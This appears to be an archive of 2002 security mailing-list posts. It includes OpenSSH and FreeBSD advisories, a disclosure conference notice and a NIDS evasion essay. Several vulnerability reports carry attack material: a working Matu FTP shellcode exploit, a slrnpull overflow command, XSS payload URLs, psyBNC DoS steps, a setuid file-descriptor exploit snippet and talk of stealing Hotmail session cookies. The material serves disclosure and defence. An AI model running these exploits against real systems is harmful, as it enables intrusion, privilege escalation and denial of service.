OpenSSH Security Advisory (adv.token)
A buffer overflow exists in OpenSSH's sshd if sshd has been compiled
with Kerberos/AFS support and KerberosTgtPassing or AFSTokenPassing
has been enabled in the sshd_config file. Ticket and token passing
is not enabled by default.
1. Systems affected:
All Versions of OpenSSH compiled with AFS/Kerberos support
and ticket/token passing enabled contain a buffer overflow.
Ticket/Token passing is disabled by default and available
only in protocol version 1.
2. Impact:
Remote users may gain privileged access for OpenSSH 2.9.9
Local users may gain privileged access for OpenSSH 3.3
No privileged access is possible for OpenSSH with
UsePrivsep enabled.
3. Solution:
Apply the following patch and replace radix.c with
http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/radix.c?rev=1.18
4. Credits:
[EMAIL PROTECTED] for notifying the OpenSSH team.
http://mantra.freeweb.hu/
Appendix:
Index: bufaux.c
===
RCS file: /cvs/src/usr.bin/ssh/bufaux.c,v
retrieving revision 1.24
diff -u -r1.24 bufaux.c
--- bufaux.c26 Mar 2002 15:23:40 - 1.24
+++ bufaux.c19 Apr 2002 12:55:29 -
@@ -137,10 +137,18 @@
BN_bin2bn(bin, len, value);
xfree(bin);
}
-
/*
- * Returns an integer from the buffer (4 bytes, msb first).
+ * Returns integers from the buffer (msb first).
*/
+
+u_short
+buffer_get_short(Buffer *buffer)
+{
+ u_char buf[2];
+ buffer_get(buffer, (char *) buf, 2);
+ return GET_16BIT(buf);
+}
+
u_int
buffer_get_int(Buffer *buffer)
{
@@ -158,8 +166,16 @@
}
/*
- * Stores an integer in the buffer in 4 bytes, msb first.
+ * Stores integers in the buffer, msb first.
*/
+void
+buffer_put_short(Buffer *buffer, u_short value)
+{
+ char buf[2];
+ PUT_16BIT(buf, value);
+ buffer_append(buffer, buf, 2);
+}
+
void
buffer_put_int(Buffer *buffer, u_int value)
{
Index: bufaux.h
===
RCS file: /cvs/src/usr.bin/ssh/bufaux.h,v
retrieving revision 1.17
diff -u -r1.17 bufaux.h
--- bufaux.h18 Mar 2002 17:25:29 - 1.17
+++ bufaux.h19 Apr 2002 12:55:56 -
@@ -23,6 +23,9 @@
void buffer_get_bignum(Buffer *, BIGNUM *);
void buffer_get_bignum2(Buffer *, BIGNUM *);
+u_shortbuffer_get_short(Buffer *);
+void buffer_put_short(Buffer *, u_short);
+
u_int buffer_get_int(Buffer *);
voidbuffer_put_int(Buffer *, u_int);
FreeBSD Security Advisory FreeBSD-SA-02:23.stdio
-BEGIN PGP SIGNED MESSAGE- = FreeBSD-SA-02:23.stdio Security Advisory The FreeBSD Project Topic: insecure handling of stdio file descriptors Category: core Module: kernel Announced: 2002-04-22 Credits:Joost Pol [EMAIL PROTECTED] Affects:All releases of FreeBSD up to and including 4.5-RELEASE 4.5-STABLE prior to the correction date Corrected: 2002-04-21 13:06:45 UTC (RELENG_4) 2002-04-21 13:08:57 UTC (RELENG_4_5) 2002-04-21 13:10:51 UTC (RELENG_4_4) FreeBSD only: NO I. Background By convention, POSIX systems associate file descriptors 0, 1, and 2 with standard input, standard output, and standard error, respectively. Almost all applications give these stdio file descriptors special significance, such as writing error messages to standard error (file descriptor 2). In new processes, all file descriptors are duplicated from the parent process. Unless these descriptors are marked close-on-exec, they retain their state during an exec. All POSIX systems assign file descriptors in sequential order, starting with the lowest unused file descriptor. For example, if a newly exec'd process has file descriptors 0 and 1 open, but file descriptor 2 closed, and then opens a file, the new file descriptor is guaranteed to be 2 (standard error). II. Problem Description Some programs are set-user-id or set-group-id, and therefore run with increased privileges. If such a program is started with some of the stdio file descriptors closed, the program may open a file and inadvertently associate it with standard input, standard output, or standard error. The program may then read data from or write data to the file inappropriately. If the file is one that the user would normally not have privileges to open, this may result in an opportunity for privilege escalation. III. Impact Local users may gain superuser privileges. It is known that the `keyinit' set-user-id program is exploitable using this method. There may be other programs that are exploitable. IV. Workaround None. The set-user-id bit may be removed from `keyinit' using the following command, but note that there may be other programs that can be exploited. # chmod 0555 /usr/bin/keyinit V. Solution 1) Upgrade your vulnerable system to 4.5-STABLE; or to either of the RELENG_4_5 (4.5-RELEASE-p4) or RELENG_4_4 (4.4-RELEASE-p11) security branches dated after the respective correction dates. 2) To patch your present system: a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch.asc b) Execute the following commands as root: # cd /usr/src # patch /path/to/patch c) Recompile your kernel as described in http://www.freebsd.org/handbook/kernelconfig.html and reboot the system. VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Path Revision Branch - - sys/sys/filedesc.h RELENG_4 1.19.2.4 RELENG_4_5 1.19.2.3.6.1 RELENG_4_4 1.19.2.3.4.1 sys/kern/kern_exec.c RELENG_4 1.107.2.14 RELENG_4_5 1.107.2.13.2.1 RELENG_4_41.107.2.8.2.2 sys/kern/kern_descrip.c RELENG_4 1.81.2.11 RELENG_4_5 1.81.2.9.2.1 RELENG_4_4 1.81.2.8.2.1 sys/conf/newvers.sh RELENG_4_51.44.2.20.2.5 RELENG_4_4 1.44.2.17.2.10 - - VII. References PINE-CERT-20020401 URL:http://www.pine.nl/advisories/pine-cert-20020401.txt -BEGIN PGP SIGNATURE- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iQCVAwUBPMRPoFUuHi5z0oilAQE0/AP/R2qPI5bI2XIFgQ6FL+m4rUZ7M6VQzZqY yzGskbEkG2LKTYPFQ/FF+Tx6ffbMicnyrTTvDcJ3F9lmKRNvPBVaOuiNBjkrLdQc rerg2aHSJunQCkcd7f/+RjxtWO8wbjTM9TXmc8X1G9kJGaglCwEfHkZJzmsyGDyD qjkDToXu9a8= =oXDh -END PGP SIGNATURE-
STANFORD CONFERENCE ON VULNERABILITY DISCLOSURE: Early Reg to Close Soon! (fwd)
- Forwarded message from Jennifer S. Granick [EMAIL PROTECTED] - X-Sender: [EMAIL PROTECTED] Date: Wed, 17 Apr 2002 10:05:27 -0800 To: [EMAIL PROTECTED] From: Jennifer S. Granick [EMAIL PROTECTED] Subject: STANFORD CONFERENCE ON VULNERABILITY DISCLOSURE: Early Reg to Close Soon! The early registration for Stanford's Center for Internet and Society Conference on Computer Security Vulnerability Disclosure is about to close. Register today! http://cyberlaw.stanford.edu Current Agenda: Agenda Conference on Cyber Security and Disclosure Thursday, May 9, 2002 7:30 a.m. Registration Continental Breakfast 8:30 a.m. Welcome and Introductions John Place, Stanford Center for Internet Society 8:45 a.m. Information Sharing and the Freedom of Information Act Matt Richtel, The New York Times (moderator) Harris Miller, Information Technology Association of America Alan Morrison, Stanford Law School and Public Citizen Litigation Group Paul Nicholas, President's Critical Infrastructure Protection Board, The White House Mark Rasch, Predictive Services David Sobel, Electronic Privacy Information Center 10:15 a.m. Break 10:30 a.m. The Ethics of Disclosure Edward Felten, Princeton University and Stanford Law School Steven Lipner, Microsoft Helen Nissenbaum, New York University (invited) 12:00 p.m. Keynote Luncheon Bruce Schneier Founder and Chief Technical Officer Counterpane Internet Security, Inc. Crocker Garden, Stanford Law School 1:30 p.m. Disclosure and the Computer Security Professional Edward Felten, Princeton University and Stanford Law School (moderator) Gary McGraw, Cigital Emily Sebert, @stake, Inc. 3:15 Break 3:30 p.m. Disclosure and the Computer Security Freelancer Jennifer Stisa Granick, Stanford Law School (moderator) Minh-Hang Nguyen, 7 Pillars Rain Forest Puppy, Independent Lee Tien, Electronic Frontier Foundation Michael Wilson, 7 Pillars 5:00 p.m. Closing Remarks 5:10 p.m. Conference Ends -- Jennifer Stisa Granick, Esq. Director, Law and Technology Clinic Stanford Law School Center for Internet and Society 559 Nathan Abbott Way Stanford, California 94305 (650) 724-0014 (650) 723-4426 fax [EMAIL PROTECTED] - End forwarded message -
Redux: NIDS, fragrouter, and off-topic sanity [WAS: Snort exploit]
I was browsing last week's BUGTRAQ posts and found the thread on Snort, fragrouter, and the supposed perils of NIDS evasion interesting. Not because these were necessarily ground-breaking topics, but more because I'm amazed that people consider NIDS evasion, well, news. Marty's comment about the media having a field day on Snort's supposedly new failure(s) is interesting in itself, as it drives home a) the fact that members of the media are obviously turning to BUGTRAQ for news, but more importantly, b) that the maturity of BUGTRAQ as a watchdog org has really come a long way. However, these facts are good for keeping the heat on vendors to fix flawed products, but bad for misunderstanding known issues. But I digress A couple of comments about NIDS/evasion/normalization/other stuff that some list members may, or may not, find useful: - evasion vs. bugs: It shouldn't be news that many NIDS products can be evaded in many ways. Most of these failures are known design challenge that NIDS vendors have faced for years. However, I would be careful in suggesting that they are bugs. In many ways, posting to BUGTRAQ about many of these NIDS evasion techniques would be synonymous to me posting a discovery that I can tunnel non-compliant app traffic through my stateful packet filtering firewall with ease. Most veteran security practitioners would probably respond with No duh, Greg, use a proxy-based firewall if you are concerned with this 'problem.' (read: known design issue) - fragmentation and evasion: As many people pointed out, market leading commercial firewalls such as Cisco's PIX and Checkpoint's Firewall-1 *DO NOT* forward re-assembled packets that have been fragmented at Layer-3. They may re-assemble them for internal inspection, but they spit them back out onto the wire they way they received them. And why do I mention layer-3, you ask? Because some higher-level protocols (RPC!) support similar types of fragmentation - more things that can stymy that weary NIDS. Evasion techniques can executed at Layer-3 (IP fragmentation, for example, that presents a challenge to the average NIDS as fragmented packets can be re-assembled one of a gazillion ways) all the way up to layer-7 (HTTP UNICODE, for example, which Mike Hall at Cisco was telling me had TENS of THOUSANDS of combinations). The point being that possessing the layer-3 through layer-7 smarts to handle the bazillion ways to evade inspection is an impressive challenge - AND ONE THAT THE FIREWALL VENDORS FACE AS WELL. Checkpoint FW-1 doesn't even perform TCP sequence number inspection, but I'm not seeing BUGTRAQ posts on this topic...but I digress again Getting back on the topic at hand, again, back to the firewall analogy: if you have a firewall that understands layer-7 protocols (Gauntlet, Raptor, Sidewinder, etc.) then there is some hope for application-level checking, but if you're using a product that is closer to a stateful packet filter (Netscreen, Checkpoint, Cisco, etc.) you're more limited in what you can do, inspection-wise. Again, these are design issues, IMHO, and many of them are faced by the NIDS space as well...which leads me to: - normalization options: Commercial firewalls that normalize traffic, even at layer-7, are coming. I know of one (OneSecure IDP), and I know others are on their way. If people are really concerned about stopping as many types of NIDS evasion techniques as possible, then they may wish to consider looking at in-line normalizers, or pressure their vendors at adding this functionality. As a side note, I found Handley, Kreibic, and Paxson's USENIX paper on the subject quite interesting, as they identified something like 70 points of normalizations for IP, TCP, UDP, and ICMP alone. (See Appendix A at: http://www.aciri.org/vern/papers/norm-usenix-sec-01.pdf) - Comparing the anti-virus (AV) world to NIDS: Perhaps a relevant comparison on some levels, but let's not forget that NIDS products vary in design and inspection capabilities. There are NIDS products on the market (ISS' BlackICE, Intrusion.com's SecureNetPro, etc.) that have the ability to perform Layer-7 protocol analysis/decoding, and can, in turn, detect some unknown attack types. For example, I know BlackICE detected some of last year's IIS overflows before it was specifically programmed to (read: the alert wasn't sig based, it was protocol based). There are limitations to signature models, yes. And updating your IDS, much like updating your AV solution, is important. But grouping every NIDS product into the same category and simply stating that it's not as accurate as, say, an AV solution, is, well, misleading, IMHO. - IDS devices as an actual defense mechanism: I will humbly suggest that most NIDS solutions, in their current form, are monitoring/policy compliance devices, not access-control ones. I continue to be amazed at people comparing NIDS to access-control mechanisms like firewalls. Apples vs. oranges, IMHO, but
Slrnpull Buffer Overflow (-d parameter)
Slrnpull Buffer Overflow (-d parameter)
===
Author:
** Alex Hernandez [EMAIL PROTECTED]
** Thanks all the people from Spain and Argentina.
** Special Greets: White-B, Paco Spain, Gabriel M.
Thanks friends for all the research:
+ Solar Eclipse [EMAIL PROTECTED]
http://www.phreedom.org
+ Kevin Finisterre [EMAIL PROTECTED]
http://www.snosoft.com
Affected system:
Linux RH.6.2 Sparc64 and below versions.
Description:
Slrnpull is a pulling of news on RH6.2-sparc platform. It is
installed in
/usr/bin/slrnpull. On SPARC platform, it is configured to have
setgid
root attribute.
Slrnpull is used for pulling of news posts from NNTP news
server, so it enables
slrn to be used as offline newsreader. A security vulnerability
in the product
allows local users to overflow one of the parameter (-d) and
cause the application
to execute arbitrary code. Since the program is setuid root,
elevated privileges
can be gained.
slrnpull supports a command line parameter -d to
specify SPOOLDIR
(Spool Directory associated with server).which would be used by
an attacker
to cause Buffer Overflow. With carefully constructed data, an
attacker might
be able to run arbitrary code with root privilege.
In case that the attacker provide an overlong filename (for
example, longer
than 4091 bytes) for the -d, it would overflow a dynamic
allocated buffer.
The attacker could modify arbitrary memory address (such as
saved return
address, and function pointer, etc.) with some features of
malloc()/free()
implementation by overwriting the border data structure of the
next
dynamic memory chunk.
On SPARC platform, attacker could obtain root group privilege;
Exploit:
==
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0 on a sparc64
alex@Lab /tmp]$ uname -svrm
Linux 2.2.14-5.0 #1 Tue Mar 7 21:50:41 EST 2000 sparc64
[alex@Lab /tmp]$ ls -la /usr/bin/slrnpull
-rwxr-sx--1 news news48688 Feb 7
2000 /usr/bin/slrnpull
[alex@Lab /tmp]$ /usr/bin/slrnpull -d `perl -e 'print A x
4091'`
04/01/2002 22:23:11 ***File name too long.
04/01/2002 22:23:11 slrnpull started.
Segmentation fault
[alex@Lab /tmp]$
MAPPED WITH STRACE
[alex@Lab /tmp]$ strace /usr/bin/slrnpull -d `perl -
e 'print A x 4091'`
execve(/usr/bin/slrnpull, [/usr/bin/slrnpull, -d,
AAA
AAA
AAA
AAA
AAA
AAA
[...]
], [/* 23 vars */]) = 0
brk(0) = 0x38e68
open(/etc/ld.so.preload, O_RDONLY)= -1 ENOENT (No such
file or directory)
open(/etc/ld.so.cache, O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=24315, ...}) = 0
mmap(NULL, 24315, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7001c000
close(3)= 0
open(/usr/lib/libslang.so.1, O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=315158, ...}) = 0
read(3, \177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
\254..., 8192) = 8192
mmap(NULL, 386256, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x7002c000
mprotect(0x70066000, 148688, PROT_NONE) = 0
mmap(0x7006c000, 65536, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED, 3, 0x3) = 0x7006c000
mmap(0x7007c000, 58576, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7007c000
close(3)= 0
open(/lib/libm.so.6, O_RDONLY)= 3
fstat(3, {st_mode=S_IFREG|0755, st_size=790032, ...}) = 0
read(3, \177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\2\0\0\0\1\0\0
\201..., 8192) = 8192
mmap(NULL, 277016, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x7008c000
mprotect(0x700c, 64024, PROT_NONE) = 0
mmap(0x700cc000, 16384, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED, 3, 0x3) = 0x700cc000
close(3)= 0
open(/lib/libc.so.6, O_RDONLY)= 3
fstat(3, {st_mode=S_IFREG|0755, st_size=4384427, ...}) = 0
read(3, \177ELF\1\2\1\0\0\0\0\0\0\0\0\0\0\3\0\22\0\0\0\1\0\1
\353..., 8192) = 8192
mmap(NULL, 8192, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x70022000
mmap(NULL, 1118552, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) =
0x700d
mprotect(0x701c8000, 102744, PROT_NONE) = 0
mmap(0x701d, 57344, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED, 3, 0xf) = 0x701d
mmap(0x701de000, 12632, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x701de000
close(3)= 0
munmap(0x7001c000, 24315) = 0
personality(PER_LINUX) = 0
getpid()
psyBNC 2.3 DoS / bug
psyBNC 2.3 DoS / bug :: Description psyBNC (http://www.psychoid.lam3rz.de/psybnc.html) has a problem dealing with oversized passwords, making it possible to tie up all the connection slots and consume alot of CPU on the server. :: Exploit Create a program to do the following: 1. connect to the psyBNC daemon 2. send irc registraion information, e.g.: user a b c d [LF/0x10] nick abcd [LF/0x10] 3. send an oversized password (about 9000++ bytes): PASS oversized password [LF/0x10] 4. kill the connection This will make psyBNC slowly consume more and more CPU, and the connection will not be closed, but kept in state CLOSE_WAIT. In other words; by doing the procedure described above many times (depending on the psyBNC configuration, 3 is default) you can lock up all the connection slots and make the psyBNC daemon inaccessible for other clients. Concerning the CPU usage, when testing this on my own box the usage went from 0.1% to about 90.0% and the load average went from 0.0 to about 0.72. :: Closing words Somebody might have discovered this before, but not that i'm aware of. Did some searching without any luck. The creator of psyBNC has been contacted. - nawok [EMAIL PROTECTED]
Re: FreeBSD Security Advisory FreeBSD-SA-02:23.stdio
Topic: insecure handling of stdio file descriptors They didn't say so, but this work was obviously based on: RCS file: /cvs/src/sys/kern/kern_exec.c,v ... revision 1.20 date: 1998/07/02 08:53:04; author: deraadt; state: Exp; lines: +38 -1 for sugid procs ensure that fd 0-2 are allocated slots (by pointing at /dev/null -- future patch will use a dead vnode of some sort) to prevent reuse (ie. new allocations) of these fd which libc makes many assumptions about; problem noted by James Youngman
Pine Internet Advisory: Setuid application execution may give local root in FreeBSD
-BEGIN PGP SIGNED MESSAGE-
-
Pine Internet Security Advisory
-
Advisory ID : PINE-CERT-20020401
Authors : Joost Pol [EMAIL PROTECTED]
Issue date: 2002-04-22
Application : Multiple
Version(s): Multiple
Platforms : FreeBSD confirmed, maybe others.
Vendor informed : 20020406
Availability : http://www.pine.nl/advisories/pine-cert-20020401.txt
-
Synopsis
It is possible for a local user to execute a suid application with
stdin, stdout or stderr closed.
Impact
HIGH. Local users should be able to gain root privileges.
Description
Consider the following (imaginary) suid application:
-- begin of imaginary code snippet
FILE * f = fopen(/etc/root_owned_file, r+);
if(f) {
fprintf(stderr, %s: fopen() succeeded\n, argv[0]);
fclose(f);
}
-- end of imaginary code snippet
Now, consider the following (imaginary) exploit:
-- begin of imaginary exploit snippet
while(dup(1) != -1);
close(2);
execl(/path/to/suid_application,
this text will endup in the root_owned_file, 0);
-- end of imaginary exploit snippet
Exploitation has been confirmed using the S/KEY binaries.
Solution
FreeBSD source trees have been updated on the 21th of april 2002.
Please cvsup.
-BEGIN PGP SIGNATURE-
Version: 2.6.3ia
Charset: noconv
iQEVAwUBPMPQffplhmN+UTQRAQE/bggAwkCUhmkv5QUVVE/pUcHIkN26Txa0Pv6T
4q4Iu4TKi6YhJYJ5Jlh0YhlgkurVE7/qAokvxEfdgHQTR68uCPJhDQTKp/9uJ+PG
qt+InMh7NHaOdIvEjcH74D9zxEC14uH+SrXmmmZno601d9mLcBZyKs0ZgOFCBnJr
QToyEgs709xtnbs5OP8iPxn6dhZADMPM9NJbtU2EvkSUqRoDB8H1awUAANI/8RzJ
4HOLDkFOkYFaNFvbYMULStGU5nH9OTHtOuTw7decgHBK6h9H8FhYf8Yn2hMq8wf0
p8/v5m535gPHqoX9HWvfMw2LdIr36mol5K9br9033XrOdIG5itn5aQ==
=AMED
-END PGP SIGNATURE-
--
patrick oonk - pine internet - [EMAIL PROTECTED] - www.pine.nl/~patrick
T:+31-70-3111010 - F:+31-70-3111011 - Read news at http://security.nl
PGPid A4E74BBF fp A7CF 7611 E8C4 7B79 CA36 0BFD 2CB4 7283 A4E7 4BBF
Note: my NEW PGP key is available at http://www.pine.nl/~patrick/
Excuse of the day: it has Intel Inside
Re: FreeBSD Security Advisory FreeBSD-SA-02:23.stdio
Credits:Joost Pol [EMAIL PROTECTED] Joost rules. And my apologies to Pine for always being late paying my bills. Sorry :-) This is a simple test, executing a setuid process with filedescriptor 2 closed, and then opening a file and seeing what fd it gets. Linux 2.2.16RedHat AXP Not vulnerable (thanks fets) Linux 2.5.6 Debian `Woody' Not vulnerable Linux 2.4.18Debian `Potato' Not vulnerable OpenBSD 2.9 Not vulnerable (thanks dim) OpenBSD 3.0 Not vulnerable (thanks sateh) OpenBSD 3.1 Not vulnerable (thanks dim) OS X 10.1.4 Not vulnerable (thanks sateh) NetBSD 1.4.2Not vulnerable (thanks bounce) Solaris 2.5.1-2.5.8 Vulnerable Code on http://ds9a.nl/setuid-fd-2.tar.gz For further tests, 'outer' might try to exhaust *all* available filedescriptors except 0, 1 or 2. This is left as an exercise for the reader, or maybe we will beat you to it. The trick is to leave enough fd's available for ld.so. Regards, bert -- http://www.PowerDNS.com/pdns Try our new database driven nameserver! http://www.tk the dot in .tk http://lartc.org Linux Advanced Routing Traffic Control HOWTO
ALERT! ALERT! ALERT! ALERT! ALERT! hehehehe ;Pppppp
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Attached is advisory + local root exploit for screen 3.9.11. Save yourself! Love, GOBBLES Hush provide the worlds most secure, easy to use online applications - which solution is right for you? HushMail Secure Email http://www.hushmail.com/ HushDrive Secure Online Storage http://www.hushmail.com/hushdrive/ Hush Business - security for your Business http://www.hush.com/ Hush Enterprise - Secure Solutions for your Enterprise http://www.hush.com/ Looking for a good deal on a domain name? http://www.hush.com/partners/offers.cgi?id=domainpeople -BEGIN PGP SIGNATURE- Version: Hush 2.1 Note: This signature can be verified at https://www.hushtools.com wlwEARECABwFAjzB+EsVHGdvYmJsZXNAaHVzaG1haWwuY29tAAoJEBzRp5chmbAPbOYA niChrHFh8QpzVq0ne5JLBkx1UVbQAJ9Dh/sB3NCalK2dlwplxraK5oGF6w== =MIJu -END PGP SIGNATURE- screen-stuff.tgz Description: GNU Zip compressed data -BEGIN PGP SIGNATURE- Version: Hush 2.1 Note: This signature can be verified at https://www.hushtools.com wj8DBQA8wfg8HNGnlyGZsA8RAns+AJ0YylUk1gWJr8MGOz9Gj5CWv6wQ9gCgoclKuPhd s+CsriqnkPOTv6x4pLA= =sbHO -END PGP SIGNATURE-
AIM Remote File Transfer/Direct Connection Vulnerability
AIM Remote File Transfer/Direct Connection Vulnerability I Discovered this vulnerability while I was port scanning my brother(April 15th, 2002), he just happened to send me a file and the port scan connected and received the file instead of me... The next day(April 16th, 2002) I made a program to exploit the vulnerability. This is how the vulnerability works When AIM gets a connection request or tries to connect to someone else it acts as a server, the program I made rapidly tries to connect to the target IP(every 450 milliseconds) on port 4443(Direct Connection) and 5190(File Transfer) it then intercepts the connection and steals whatever data the target sends, they can receive text from their friends but they cannot send it because all data they send gets sent to you, I don't know the Oscar protocol, but I'm sure that if you where to use it, you could send text back to the IM as the friend or maybe as a fake screen name, this could be used to trick the person into giving you passwords or personal information, even if the person just happened to send something like passwords.txt to their friend, you now have those passwords. The fix: I think a fix would be simple, have AIM only connect to the IP of the person they are trying to connect to which would be retrieved by the AIM server(s), I wouldn't doubt there being ways to exploit this also..but it's a start. A temporary way to protect from the file transfer spy would be to change the port in the AIM preferences dialog for file transfer to something other than 5190, it would be pretty hard for someone to guess what port you changed it to. Data you could potentially steal: pictures, files, text, passwords, movies, personal information, etc... Well that concludes this article..., if you have any questions or comments please feel free to contact me. (One last note: I am still fixing bugs and trying different things with the program, but when I am happy with it, I will post it on my site, it is called RAFTS which stands for Remote AIM File Transfer Spy) -Joseph Musso a.k.a. Sil www.silenttech.com aim screen name: xlsillx email: [EMAIL PROTECTED]
Philip Chinery's Guestbook 1.1 fails to filter out js/html
Target:
Philip Chinery's Guestbook 1.1 (maybee older versions?)
Vendor:
http://www.sector7g.de.vu
Notified Vendor:
Sure
Affected Systems:
Webservers that run Philip Chinery's Guestbook 1.1
Found by:
Markus Arndt[EMAIL PROTECTED]
Short Description:
Philip Chinery's Guestbook 1.1 fails to filter out JScript/HTML (CrossSiteScripting)
This nice lil' guestbook let's the owner choose to filter out Jscript- and/or
HTML-entrys..
Let's see the start of it's sub where it saves an entry:
---code starts---
sub SaveData
{
if($kill_html == 1) {
$Text =~ s/([^]|\n)*//g;
}
if($kill_html == 2) {
$Text =~ s//lt;/g;
$Text =~ s//gt;/g;
}
if ($kill_java) {
$Text =~ s/!--(.|\n)*--//g;
}
$Text =~ s/\n/nbsp;br/g;
$Text =~ tr/|/ /;
$Text =~ s/\t/nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;/g;
$Text =~ s/\cM//g;
---code ends---
That's all it filters out.. As we can see it does only filter the comment itself a
user wrote!
For example the fields Name, EMail or Homepage are NOT checked!
So let's build an url to exploit this..
http://[target]/cgi-bin/guestbook.pl?action=signcwrite=noneName=scriptalert(gotcha!);/script[EMAIL PROTECTED]Text=css%20example
This would post a message that would display an alertbox on a visiotrs screen
when accessing the gb..
As I noticed the guestbook logs ipadresses but doesn't prevent spam.
It also automaticly redirects posters back to the mainguestbook-page.
That makes it very easy to post entrys that e.g. force visitors to spam the guestbook
(really anoying).
Sorry for bad english, hope you can understand what i'm talkin' about. ;)
Markus Arndt[EMAIL PROTECTED]
http://skka.de
__
100 MB und noch mehr gute Gründe! Jetzt anmelden und profitieren. Da ist mehr
für Sie drin unter http://club.web.de/?mc=021103
Matu FTP remote buffer overflow vulnerability
Matu FTP remote buffer overflow vulnerability /*--- Description ---*/ Matu FTP is a Japanese FTP client software for Win32 Platform. We found an exploitable buffer overflow problem in Matu FTP Version 1.74. The buffer overflow occurs when a long string like 220 A.AAACRLF is received by Matu FTP in the beginning of an FTP session. This vulnerability allows malicious FTP server to execute an arbitrary code on client hosts. /*--- Vendor Status ---*/ Notified with no response /*--- POC ---*/ This exploit code is invoked as an FTP server through inetd. #!/usr/local/bin/perl #-- # Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2) # ( run under inetd ) # written by Kanatoko [EMAIL PROTECTED] # http://www.jumperz.net/ #-- $|=1; #egg written by UNYUN (http://www.shadowpenguin.org/) $egg = \xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2; $egg .= \x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7; $egg .= \xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C; $egg .= \x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB; $egg .= \xFD\xE8\xD4\xFF\xFF\xFF; $egg .= notepad.exe; #egg_address = 0x0012F43C $buf = \x90 x 217; $buf .= $egg; $buf .= A x 2; $buf .= \x3C\xF4\x12\x00; $buf .= B x 80; print 220 $buf\r\n; -- #sorry for the bad english Kanatoko [EMAIL PROTECTED] http://www.jumperz.net/(Japanese)
arp problem
Hi, I have a small problem. Situation: We have linux box running kernel 2.4 with 2 NICs. Let`s assume that eth0 IP 10.1.1.1/8 MAC 11:11:11:11:11:11, eth1 IP 192.168.0.1/24 MAC 22:22:22:22:22:22 We can even safely set the eth1 interface down, remove a patchcord from this interface or it can be dummy0 interface. On the second machine from network 10.0.0.0 (in our case 10.2.2.2) we try: # arping 192.168.0.1 and we got the reply: Unicast reply from 192.168.0.1 [11:11:11:11:11:11] 0.765ms Looks strange - there is no proxy-arp turned on on any of the interfaces. What can we do with this knowledge ? For example we can try to find suspected masquerade machines in our network. It is also very easy to scan for private networks behind the suspected machines. We tried this under Linux kernel 2.4 This technique didn`t work with multihomed MS-Windows machine. It didn`t work on cisco 2500 series either. The questions are: How to turn this off ? Is it only a feature of the kernel series 2.4 ? -- Bartek Konarski GPG/PGP Key: http://www.bss.pjwstk.edu.pl/bartek.asc msg07625/pgp0.pgp Description: PGP signature
vqServer Demo Files Cross-Site Scripting
vqServer is a Windows web server written in Java. It is an innovative product, with support internally for Servlets, and external support for many kinds of CGI, (EXE, Perl, ...) However, some of the examples shipped in a default configuration of vqServer contain multiple cross-site scripting vulnerabilities. In one case, it is possible to create a cookie-based(?) attack that persists forever for a specific IP address. This could be used to attack the target via Cookie Scripting bugs in many known browsers. Example: (Requires Perl Interpreter) http://localhost/cgi/vq/demos/respond.pl?SCRIPTalert(I%20should%20not%20b e%20able%20to%20do%20this!!!)/SCRIPT
Re: Cross site scripting in almost every mayor website
Been there, done that. I have successfully created a worm and tested it before trying to report this to McAfee, they do the vrus scanning for hotmail. I got a you are not a registered user auto-reply and they ignored my messages because I wasn't in their files ;( too bad for them. You do have full access to the DOM of Hotmail when you can find a way to cross-site script, thus allowing you full access to the inbox, address book etc... BJ - Original Message - From: FozZy To: [EMAIL PROTECTED] Cc: [EMAIL PROTECTED] ; vuln- [EMAIL PROTECTED] Sent: Sunday, April 21, 2002 3:53 Subject: Re: Cross site scripting in almost every mayor website To webmail developpers : there is something interesting for you hidden in this post. The Hotmail problem was a evil html filtering problem in incoming e-mails. It was possible to bypass the filter by injecting javascript with XML, when parsed with IE. See : http://spoor12.edup.tudelft.nl/SkyLined/docs/ie.hot mail.howto.css.html *** I guess that many other webmails are vulnerable to this attack. *** I verified that Yahoo is vulnerable with IE 5.5 (but they have other bugs and they don't care, see http://online.securityfocus.com/archive/1/265464). I did not checked other webmails, but I am sure almost every one can be cracked this way. The fix: as far as I could find out they now replace the properties 'dataFld', 'dataFormatAs' and 'dataSrc' of any HTML tag with 'xdataFld', 'xdataFormatAs' and 'xdataSrc' to prevent XML generation of HTML alltogether. The implication of executing javascript is that an incoming email can control the mailbox of the user. It is also possible to send the session cookie to a cgi script and read remotely all the e- mails. (BTW, it is still possible to do that on Hotmail and on almost every webmail, since they don't check the IP address, even without this XML trick cause their filters are sooo bad) I fear that a cross-platform and cross-site webmail worm deleting all the emails and spreading could appear in the near future. Please Hotmail Yahoo co, do something before it comes true... FozZy Hackademy / 